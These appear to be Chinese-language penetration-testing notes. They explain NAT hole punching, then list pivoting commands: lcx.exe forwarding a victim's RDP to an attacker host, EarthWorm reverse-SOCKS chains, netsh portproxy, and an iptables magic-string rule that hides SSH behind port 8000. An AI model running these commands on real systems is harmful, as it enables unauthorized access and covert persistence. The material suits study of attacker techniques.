内网穿透的概念:
内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT
设备屏蔽而正确路由到内网主机。下面就相互通信的主机在网络中与 NAT 设备的相对位置介绍内网穿透方法。
通信双方一台位于 NAT 之后:
一台主机有一个公网 IP,另一台主机有一个内网 IP。
Client A 位于 NAT 之后,并拥有[IP 地址:端口]对[10.0.0.1:1234],Client B位于 NAT 之前,并拥有[IP 地址:端口]对[138.76.29.7:1234],NAT 拥有公网 IP 155.99.25.11。
由于 Client B 有一个公网 IP,Client A 可以直接通过 TCP 连接到[138.76.29.7:1234],然而,如果 Client B 向 Client A 发起主动连接,则不会成功。此时,需要一个公有的服务器辅助进行内网穿透。
Client A 和 Client B 向服务器发起登陆请求,并保持一个 TCP 或 UDP 连接,服务器记录其 IP 地址和端口号,这里服务器对 Client A 是记录其经过 NAT 映射之后的 IP 和端口号。
当 Client B 想连接 Client A 时,首先向服务器提出请求,服务器在收到请求后向 Client A 发出打洞命令,并将 Client B 的[IP 地址:端口]对发给 Client A,Client A 根据接收到的 IP地址和端口号向 Client B 发起 TCP 连接或发送 UDP 数据包。
接下来 Client A 和Client B 之间便可以建立数据传输通道。
通信双方主机均位于NAT设备之后:
两台主机都处于内网中。服务器记录的[IP 地址:端口]对是 Client A 和 Client B 经过 NAT 映射之后的IP 地址和端口号,此时,Client A 和 Client B 之间任意方向的连接请求都会被对方的 NAT 设备屏蔽。
Client A 首先向服务器提出连接请求,服务器将 Client A 的 IP地址和端口号对[155.99.25.11:51200]发给 Client B,并向 Client B 发出打洞命令;
Client B 收到服务器的打洞命令后首先向[155.99.25.11:51200]发送一定数目的 UDP探测包或 TCP 连接请求,在 NAT B 上打一个方向为[155.99.25.11:51200]的洞,Client B 随后向服务器报告打洞完成;
服务器在收到 Client B 的报告后将 Client B 的公网IP 地址和端口号对[110.10.33.10:5000],此时由于 NAT B 上已经留下了对应于[155.99.25.11:51200]方向的洞,Client A 向[110.10.33.10:5000]发出的数据包或连接请求将不会被丢弃。
内网转发:
lcx,netsh,iptables
LCX:
攻击者ip:192.168.1.2
受害者ip:192.168.1.3
将lcx.exe上传到受害者主机上,执行:
lcx.exe -slave 192.168.1.2 8080 192.168.1.3 3389
然后攻击者主机上执行:
lcx.exe -listen 8080 9999
这样就将受害者主机的3389服务转发到攻击者本地的9999端口上了。只要攻击者访问127.0.0.1:9999就可以连接到受害者的远程桌面
NETSH:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
connectport – 一个TCP端口
内网代理:regeorg,Earthworm,SwitchyOmega
EW:
攻击主机: ./ew_linux -s rcsocks -l 1080 -e 1234
受害主机: ew_win -s rsscocks -d 攻击主机地址 -e 1234
SO:
多级级联
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks:
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
ICMP/UDP内网穿透:
端口复用:
端口复用是指不同的应用程序使用相同端口进行通讯,内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。
# 新建端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# 开启端口复用
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
https://blog.csdn.net/shuteer_xu/article/details/110675863?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162520788416780264096306%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=162520788416780264096306&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v29-7-110675863.first_rank_v2_pc_rank_v29&utm_term=%E7%AB%AF%E5%8F%A3%E5%A4%8D%E7%94%A8&spm=1018.2226.3001.4187